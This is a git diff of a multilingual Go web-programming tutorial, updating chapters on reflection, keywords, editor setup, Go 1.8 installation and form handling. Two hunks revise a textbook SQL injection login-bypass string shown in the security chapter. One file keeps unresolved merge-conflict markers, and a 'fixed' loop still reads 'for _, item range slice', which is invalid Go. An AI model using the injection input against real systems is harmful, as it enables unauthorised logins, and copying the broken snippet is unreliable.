// Len é o número de elementos na coleção.
Len() int
// Less returns whether the element with index i should sort
// before the element with index j.
// Less retorna se o elemento com índice i deve ser ordenado
// antes do elemento com o índice j.
Less(i, j int) bool
// Swap swaps the elements with indexes i and j.
// Swap troca os elementos com índices i e j.
Swap(i, j int)
}
Another example is the `io.ReadWriter` in package `io`.
Outro exemplo é o `io.ReadWriter` no pacote `io`.
// io.ReadWriter
type ReadWriter interface {
Reader
Writer
}
### Reflection
Reflection in Go is used for determining information at runtime. We use the `reflect` package, and this official [article](http://golang.org/doc/articles/laws_of_reflection.html) explains how reflect works in Go.
Reflection em Go é usado para determinar informações em tempo de execução. Usamos o pacote `reflect`, e este [artigo](http://golang.org/doc/articles/laws_of_reflection.html) oficial explica como reflect funciona em Go.
There are three steps involved when using reflect. First, we need to convert an interface to reflect types (reflect.Type or reflect.Value, this depends on the situation).
Há três etapas envolvidas quando usamos reflect. Primeiro, precisamos converter um interface para tipos reflect (reflect.Type ou reflect.Value, isso depende da situação).
t := reflect.TypeOf(i) // get meta-data in type i, and use t to get all elements
v := reflect.ValueOf(i) // get actual value in type i, and use v to change its value
After that, we can convert the reflected types to get the values that we need.
t := reflect.TypeOf(i) // recebe meta-dados no tipo i, e usa t para receber todos os elementos
v := reflect.ValueOf(i) // recebe o valor atual no tipo i, e usa v para alterar seu valor
Depois disso, podemos converter os tipos reflect para obter os valores que precisamos.
var x float64 = 3.4
v := reflect.ValueOf(x)
fmt.Println("type:", v.Type())
fmt.Println("kind is float64:", v.Kind() == reflect.Float64)
fmt.Println("value:", v.Float())
Finally, if we want to change the values of the reflected types, we need to make it modifiable. As discussed earlier, there is a difference between pass by value and pass by reference. The following code will not compile.
Finalmente, se quisermos mudar os valores dos tipos reflect, precisamos torná-los modificáveis. Como discutido anteriormente, há uma diferença entre passar por valor e passar por referência. O código a seguir não compilará.
var x float64 = 3.4
v := reflect.ValueOf(x)
v.SetFloat(7.1)
Instead, we must use the following code to change the values from reflect types.
Em vez disso, precisamos usar o seguinte código para alterar os valores dos tipos reflect.
var x float64 = 3.4
p := reflect.ValueOf(&x)
v := p.Elem()
v.SetFloat(7.1)
We have just discussed the basics of reflection, however you must practice more in order to understand more.
Acabamos de discutir os fundamentos de reflect, no entanto você deve praticar mais para entender mais.
## Links
- [Directory](preface.md)
- Previous section: [Object-oriented](02.5.md)
- Next section: [Concurrency](02.7.md)
- [Sumário](preface.md)
- Seção Anterior: [Orientação a Objetos](02.5.md)
- Próxima Seção: [Concorrência](02.7.md)

View File

@@ -1,6 +1,6 @@
# 2.8 Summary
# 2.8 Resumo
In this chapter, we mainly introduced the 25 Go keywords. Let's review what they are and what they do.
Neste capítulo introduzimos principalmente as 25 palavras-chave em Go. Vamos rever quais são elas e o que elas fazem.
break default func interface select
case defer go map struct
@@ -8,25 +8,25 @@ In this chapter, we mainly introduced the 25 Go keywords. Let's review what they
const fallthrough if range type
continue for import return var
- `var` and `const` are used to define variables and constants.
- `package` and `import` are for package use.
- `func` is used to define functions and methods.
- `return` is used to return values in functions or methods.
- `defer` is used to define defer functions.
- `go` is used to start a new goroutine.
- `select` is used to switch over multiple channels for communication.
- `interface` is used to define interfaces.
- `struct` is used to define special customized types.
- `break`, `case`, `continue`, `for`, `fallthrough`, `else`, `if`, `switch`, `goto` and `default` were introduced in section 2.3.
- `chan` is the type of channel for communication among goroutines.
- `type` is used to define customized types.
- `map` is used to define map which is similar to hash tables in other languages.
- `range` is used for reading data from `slice`, `map` and `channel`.
- `var` e `const` são usadas para definir variáveis e constantes.
- `package` e `import` são para o uso de pacotes.
- `func` é usada para definir funções e métodos.
- `return` é usada para retornar valores em funções ou métodos.
- `defer` é usada para definir funções defer (funções de adiamento).
- `go` é usada para iniciar uma nova goroutine.
- `select` é usada para alternar entre múltiplos canais para comunicação.
- `interface` é usada para definir interfaces.
- `struct` é usada para definir tipos personalizados.
- `break`, `case`, `continue`, `for`, `fallthrough`, `else`, `if`, `switch`, `goto` e `default` foram introduzidas na seção 2.3.
- `chan` é o tipo de canal para comunicação entre goroutines.
- `type` é usada para definir tipos personalizados.
- `map` é usada para definir um map (mapa) que é semelhante a tabelas hash em outras linguagens.
- `range` é usada para ler dados de `slice`, `map` e `channel`.
If you understand how to use these 25 keywords, you've learned a lot of Go already.
Se você entender como utilizar estas 25 palavras-chave, você já aprendeu bastante sobre Go.
## Links
- [Directory](preface.md)
- Previous section: [Concurrency](02.7.md)
- Next chapter: [Web foundation](03.0.md)
- [Sumário](preface.md)
- Seção anterior: [Concorrência](02.7.md)
- Próximo Capítulo: [Web foundation](03.0.md)

View File

@@ -32,7 +32,7 @@ If the user inputs a user name or password as:
Then our SQL becomes the following:
SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx'
SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx'
In SQL, anything after `--` is a comment. Thus, inserting the `--` as the attacker did above alters the query in a fatal way, allowing an attacker to successfully login as a user without a valid password.

View File

@@ -399,9 +399,29 @@ Eclipse также является отличным инструментом р
![](images/1.4.idea5.png?raw=true)
Введите расположение Go sdk на следующем шаге - скорее всего, это $GOROOT.
( ***Смотрите [Пост блога](http://wuwen.org/tips-about-using-intellij-idea-and-go/) об установке и использовании IntelliJ IDEA с Go шаг за шагом*** )
## Visual Studio Code
Visual Studio Code это редактор кода, но при этом обладающий функциями IDE, полагающийся на расширения.
![](images/1.4.vscode1.png?raw=true)
- Скачайте [vscode](https://code.visualstudio.com/).
- Установите плагин Go. Выберите в левой панели `Расширения` или нажмите `CTRL+SHIFT+X`, затем выберите в поиске расширений `Go` от likehoban.
![](images/1.4.vscode2.png?raw=true)
- Также необходимо, чтобы уже был установлен Go, настроен GOROOT и GOPATH.
- Далее необходимо установить дополнительные пакеты для Go:
Открываем в vscode любой go-файл, после чего в нижнем правом углу увидим сообщение “Analysis Tools Missing”. Надо нажать на это сообщение и недостающие пакеты установятся автоматически.
- Теперь можно создавать проект Go.
![](images/1.4.vscode3.png?raw=true)
## Ссылки
- [Содержание](preface.md)

View File

@@ -10,7 +10,7 @@ Response: данные ответа от сервера.
Conn: соединения между клиентами и серверами.
Handler: логика обработки запроса и получение ответа.
Handler: логика обработки запроса и генерация ответа.
## механизм работы пакета http

BIN
ru/images/1.4.vscode1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 150 KiB

BIN
ru/images/1.4.vscode2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 170 KiB

BIN
ru/images/1.4.vscode3.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 166 KiB

View File

@@ -13,19 +13,11 @@
- 2.6. [Интерфейсы](02.6.md)
- 2.7. [Многопоточность](02.7.md)
- 2.8. [Итоги раздела](02.8.md)
<<<<<<< HEAD
- 3.[Основы Веба](03.0.md)
- 3.1. [Принципы работы веб](03.1.md)
- 3.2. [Создание простого веб-сервера](03.2.md)
- 3.3. [Как Go работает с веб](03.3.md)
- 3.4. [Внутренний мир пакета http](03.4.md)
=======
- 3.[Web foundation](03.0.md)
- 3.1. [Web working principles](03.1.md)
- 3.2. [Build a simple web server](03.2.md)
- 3.3. [How Go works with web](03.3.md)
- 3.4. [Get into http package](03.4.md)
>>>>>>> eead24cf064976b648de5826eab51880c803b0fa
- 3.5. [Итоги раздела](03.5.md)
- 4.[Пользовательские формы](04.0.md)
- 4.1. [Работа с формами](04.1.md)
@@ -34,11 +26,7 @@
- 4.4. [Дублирование отправки](04.4.md)
- 4.5. [Загрузка файлов](04.5.md)
- 4.6. [Итоги раздела](04.6.md)
<<<<<<< HEAD
- 5.[Базы данных](05.0.md)
=======
- 5.[Database](05.0.md)
>>>>>>> eead24cf064976b648de5826eab51880c803b0fa
- 5.1. [database/sql interface](05.1.md)
- 5.2. [MySQL](05.2.md)
- 5.3. [SQLite](05.3.md)

View File

@@ -46,6 +46,7 @@ Go 1.5彻底移除C代码Runtime、Compiler、Linker均由Go编写,实现自
如果出现Go的Usage信息那么说明Go已经安装成功了如果出现该命令不存在那么可以检查一下自己的PATH环境变中是否包含了Go的安装目录。
从go 1.8开始GOPATH环境变量现在有一个默认值如果它没有被设置。 它在Unix上默认为$HOME/go,在Windows上默认为%USERPROFILE%/go。
> 关于上面的GOPATH将在下面小节详细讲解
## Go标准包安装
@@ -78,7 +79,7 @@ Linux系统用户可通过在Terminal中执行命令`arch`(即`uname -m`)来查
### Mac 安装
访问[下载地址][downlink]32位系统下载go1.4.2.darwin-386-osx10.8.pkg(新版已无32位下载)64位系统下载go1.7.4.darwin-amd64.pkg双击下载文件一路默认安装点击下一步这个时候go已经安装到你的系统中默认已经在PATH中增加了相应的`~/go/bin`,这个时候打开终端,输入`go`
访问[下载地址][downlink]32位系统下载go1.4.2.darwin-386-osx10.8.pkg(新版已无32位下载)64位系统下载go1.8.darwin-amd64.pkg双击下载文件一路默认安装点击下一步这个时候go已经安装到你的系统中默认已经在PATH中增加了相应的`~/go/bin`,这个时候打开终端,输入`go`
看到类似上面源码安装成功的图片说明已经安装成功
@@ -86,11 +87,11 @@ Linux系统用户可通过在Terminal中执行命令`arch`(即`uname -m`)来查
### Linux 安装
访问[下载地址][downlink]32位系统下载go1.7.4.linux-386.tar.gz64位系统下载go1.7.4.linux-amd64.tar.gz
访问[下载地址][downlink]32位系统下载go1.8.linux-386.tar.gz64位系统下载go1.8.linux-amd64.tar.gz
假定你想要安装Go的目录为 `$GO_INSTALL_DIR`,后面替换为相应的目录路径。
解压缩`tar.gz`包到安装目录下:`tar zxvf go1.7.4.linux-amd64.tar.gz -C $GO_INSTALL_DIR`
解压缩`tar.gz`包到安装目录下:`tar zxvf go1.8.linux-amd64.tar.gz -C $GO_INSTALL_DIR`
设置PATH`export PATH=$PATH:$GO_INSTALL_DIR/go/bin`
@@ -104,7 +105,7 @@ Linux系统用户可通过在Terminal中执行命令`arch`(即`uname -m`)来查
### Windows 安装 ###
访问[Google Code 下载页][downlink]32 位请选择名称中包含 windows-386 的 msi 安装包64 位请选择名称中包含 windows-amd64 的。下载好后运行,不要修改默认安装目录 C:\Go\,若安装到其他位置会导致不能执行自己所编写的 Go 代码。安装完成后默认会在环境变量 Path 后添加 Go 安装目录下的 bin 目录 `C:\Go\bin\`,并添加环境变量 GOROOT值为 Go 安装根目录 `C:\Go\`
访问[Golang 下载页][downlink]32 位请选择名称中包含 windows-386 的 msi 安装包64 位请选择名称中包含 windows-amd64 的。下载好后运行,不要修改默认安装目录 C:\Go\,若安装到其他位置会导致不能执行自己所编写的 Go 代码。安装完成后默认会在环境变量 Path 后添加 Go 安装目录下的 bin 目录 `C:\Go\bin\`,并添加环境变量 GOROOT值为 Go 安装根目录 `C:\Go\`
**验证是否安装成功**
@@ -124,11 +125,11 @@ gvm是第三方开发的Go多版本管理工具类似ruby里面的rvm工具
安装完成后我们就可以安装go了
```sh
gvm install go1.7.4
gvm use go1.7.4
gvm install go1.8
gvm use go1.8
```
也可以使用下面的命令省去每次调用gvm use的麻烦
gvm use go1.7.4 --default
gvm use go1.8 --default
执行完上面的命令之后GOPATH、GOROOT等环境变量会自动设置好这样就可以直接使用了。
@@ -140,15 +141,32 @@ Ubuntu是目前使用最多的Linux桌面系统使用`apt-get`命令来管理
sudo add-apt-repository ppa:gophers/go
sudo apt-get update
sudo apt-get install golang-stable git-core mercurial
````
###wget
```
### wget
```sh
wget https://storage.googleapis.com/golang/go1.7.4.linux-amd64.tar.gz
sudo tar -xzf go1.7.4.linux-amd64.tar.gz -C /usr/local
export PATH=PATH:/usr/local/go/binexportGOROOT=HOME/go
export PATH=PATH:GOROOT/bin
export GOPATH=HOME/gowork
wget https://storage.googleapis.com/golang/go1.8.linux-amd64.tar.gz
sudo tar -xzf go1.8.linux-amd64.tar.gz -C /usr/local
```
配置环境变量:
```sh
export GOROOT=/usr/local/go
export GOBIN=$GOROOT/bin
export PATH=$PATH:$GOBIN
export GOPATH=$HOME/gopath (可选设置)
```
或者使用:
```sh
sudo vim /etc/profile
```
并添加下面的内容:
```sh
export GOROOT=/usr/local/go
export GOBIN=$GOROOT/bin
export PATH=$PATH:$GOBIN
export GOPATH=$HOME/gopath (可选设置)
```
### homebrew

View File

@@ -1,7 +1,8 @@
# 1.2 GOPATH与工作空间
前面我们在安装Go的时候看到需要设置GOPATH变量Go从1.1版本开始必须设置这个变量而且不能和Go的安装目录一样这个目录用来存放Go源码Go的可运行文件以及相应的编译之后的包文件。所以这个目录下面有三个子目录src、bin、pkg
前面我们在安装Go的时候看到需要设置GOPATH变量Go从1.1版本到1.7必须设置这个变量而且不能和Go的安装目录一样这个目录用来存放Go源码Go的可运行文件以及相应的编译之后的包文件。所以这个目录下面有三个子目录src、bin、pkg
从go 1.8开始GOPATH环境变量现在有一个默认值如果它没有被设置。 它在Unix上默认为$HOME/go,在Windows上默认为%USERPROFILE%/go。
## GOPATH设置
go 命令依赖一个重要的环境变量:$GOPATH

View File

@@ -299,7 +299,7 @@ Atom是Github基于Electron和web技术构建的开源编辑器, 是一款很漂
就会开始安装 go-plus go-plus 插件会自动安装对应的依赖插件如果没有安装对应的go的类库会自动运行: go get 安装。
##Gogland
## Gogland
Gogland是JetBrains公司推出的Go语言集成开发环境是Idea Go插件是强化版。Gogland同样基于IntelliJ平台开发支持JetBrains的插件体系。

View File

@@ -4,7 +4,7 @@
## goroutine
goroutine是Go并行设计的核心。goroutine说到底其实就是线但是它比线程更小十几个goroutine可能体现在底层就是五六个线程Go语言内部帮你实现了这些goroutine之间的内存共享。执行goroutine只需极少的栈内存(大概是4~5KB)当然会根据相应的数据伸缩。也正因为如此可同时运行成千上万个并发任务。goroutine比thread更易用、更高效、更轻便。
goroutine是Go并行设计的核心。goroutine说到底其实就是但是它比线程更小十几个goroutine可能体现在底层就是五六个线程Go语言内部帮你实现了这些goroutine之间的内存共享。执行goroutine只需极少的栈内存(大概是4~5KB)当然会根据相应的数据伸缩。也正因为如此可同时运行成千上万个并发任务。goroutine比thread更易用、更高效、更轻便。
goroutine是通过Go的runtime管理的一个线程管理器。goroutine通过`go`关键字实现了,其实就是一个普通的函数。
```Go

View File

@@ -81,7 +81,7 @@ login函数中我们根据`r.Method`来判断是显示登录界面还是处理
我们输入用户名和密码之后发现在服务器端是不会打印出来任何输出的为什么呢默认情况下Handler里面是不会自动解析form的必须显式的调用`r.ParseForm()`后,你才能对这个表单数据进行操作。我们修改一下代码,在`fmt.Println("username:", r.Form["username"])`之前加一行`r.ParseForm()`,重新编译,再次测试输入递交,现在是不是在服务器端有输出你的输入的用户名和密码了。
`r.Form`里面包含了所有请求的参数比如URL中query-string、POST的数据、PUT的数据当你在URL的query-string字段和POST冲突时会保存成一个slice里面存储了多个值Go官方文档中说在接下来的版本里面将会把POST、GET这些数据分离开来。
`r.Form`里面包含了所有请求的参数比如URL中query-string、POST的数据、PUT的数据当你在URL的query-string字段和POST冲突时会保存成一个slice里面存储了多个值Go官方文档中说在接下来的版本里面将会把POST、GET这些数据分离开来。
现在我们修改一下login.gtpl里面form的action值`http://127.0.0.1:9090/login`修改为`http://127.0.0.1:9090/login?username=astaxie`再次测试服务器的输出username是不是一个slice。服务器端的输出如下
@@ -104,9 +104,9 @@ login函数中我们根据`r.Method`来判断是显示登录界面还是处理
```
>**Tips**:
Request本身也提供了FormValue()函数来获取用户提交的参数。如r.Form["username"]也可写成r.FormValue("username")。调用r.FormValue时会自动调用r.ParseForm所以不必提前调用。r.FormValue只会返回同名参数中的第一个若参数不存在则返回空字符串。
>Request本身也提供了FormValue()函数来获取用户提交的参数。如r.Form["username"]也可写成r.FormValue("username")。调用r.FormValue时会自动调用r.ParseForm所以不必提前调用。r.FormValue只会返回同名参数中的第一个若参数不存在则返回空字符串。
## links
* [目录](<preface.md>)
* [目录](<preface.md>)
* 上一节: [表单](<04.0.md>)
* 下一节: [验证表单的输入](<04.2.md>)

View File

@@ -97,7 +97,7 @@
slice:=[]string{"apple","pear","banane"}
v := r.Form.Get("fruit")
for item in slice {
for _, item range slice {
if item == v {
return true
}

View File

@@ -24,7 +24,7 @@ Go目前支持redis的驱动有如下
"fmt"
"github.com/garyburd/redigo/redis"
"os"
"os/signal"
"os/signal"
"syscall"
"time"
)

View File

@@ -35,7 +35,7 @@ SQL注入攻击SQL Injection简称注入攻击是Web开发中最常
那么我们的SQL变成了如下所示
```Go
SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx'
SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx'
```
在SQL里面`--`是注释标记,所以查询语句会在此中断。这就让攻击者在不知道任何合法用户名和密码的情况下成功登录了。